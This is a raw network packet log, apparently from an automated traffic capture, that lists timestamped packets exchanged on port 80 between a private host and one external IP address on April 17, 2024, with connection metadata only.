Apr 17, 2024 06:57:12.317895889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317914963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317919970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317949057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.317961931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.317995071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.318248987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.318285942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.318322897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.318327904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.318346977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.318355083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.318363905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.318397999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366375923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366486073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366507053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366527081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366542101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366564035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366576910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366602898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366611004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366638899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366652012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366674900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.366681099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.366743088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367530107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367568970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367600918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367609024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367620945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367647886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367655993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367685080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367693901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367722988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367728949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367758036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367769003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367801905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367888927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367925882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367942095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.367966890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.367980003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368002892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.368015051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368055105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368781090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.368820906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.368839979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368856907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.368863106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368891001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.368927956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.368947983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369128942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369164944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369182110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369200945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369218111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369235039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369237900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369272947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369282007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369308949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369314909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369348049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369360924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369385004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369395018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369426966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369605064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369645119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369661093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369680882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369683981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369714022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.369725943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.369755983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370038033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370074987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370095015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370110989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370115042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370143890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370153904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370188951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370366096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370403051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370419025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370438099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370441914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370472908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370486975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370511055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370603085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370640993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370652914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370676994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370687962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370709896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.370723009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.370754004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371036053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371073008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371089935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371109009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371114016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371141911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371155024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371186972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371507883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371546984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371563911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371584892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371586084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371617079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.371628046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.371660948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425419092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425479889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425517082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425551891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425611019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425611019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425611019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425611019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425640106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425678015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425681114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425714016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425726891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425749063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.425765991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.425789118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426264048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426305056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426321983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426341057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426352024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426373959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426388979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426412106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426426888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426450014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426460028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426486015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426497936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426517963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426532030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426559925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426664114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426700115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426712036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426737070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426747084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426772118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426780939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426809072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426815987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426843882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426855087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426881075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426888943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426914930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426923037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426953077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.426968098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.426987886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427002907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427025080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427036047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427057028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427069902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427093029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427102089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427129030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427141905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427165031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427175999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427196980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427215099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427232981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427237988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427268982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427278042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427304029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427313089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427335978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427350044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427371979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427378893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427407980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427417994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427443981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427452087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427479982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427490950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427515984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427524090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427551031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427561045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427587032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427598000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427618980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427628994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427663088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427895069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427932024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427946091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.427967072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.427974939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.428000927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.428013086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.428046942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429018021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429055929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429069042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429091930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429102898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429126024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429141998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429171085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429383039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429419994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429431915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429507971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429513931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429541111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.429553032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.429585934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478214025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478327990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478367090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478403091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478439093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478466988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478466988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478467941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478476048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478467941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478514910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478538990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478538990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478549004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.478565931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.478599072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479017973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479054928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479074955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479090929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479094982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479124069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479139090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479171038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479579926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479633093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479640961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479680061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479687929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479713917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.479726076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479763985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.479990005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480029106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480047941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480060101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480068922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480076075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480114937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480114937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480513096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480530024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480545998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480562925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480562925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480592012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480592012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480619907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480850935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480868101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480884075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480899096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.480899096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480937004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480937958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.480937958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481120110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481137037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481168032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481178045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481188059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481194019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481226921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481226921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481625080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481674910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481722116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481739044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481761932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481762886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.481798887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.481798887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482229948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482249022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482264042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482279062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482289076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482289076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482321024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482321024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482402086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482456923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482487917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482520103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482533932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482577085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482621908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482621908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482878923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482896090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482912064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482928038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.482938051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482966900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.482966900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483055115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483072996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483088970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483097076 CEST	49730	80	192.168.2.4	185.172.128.23
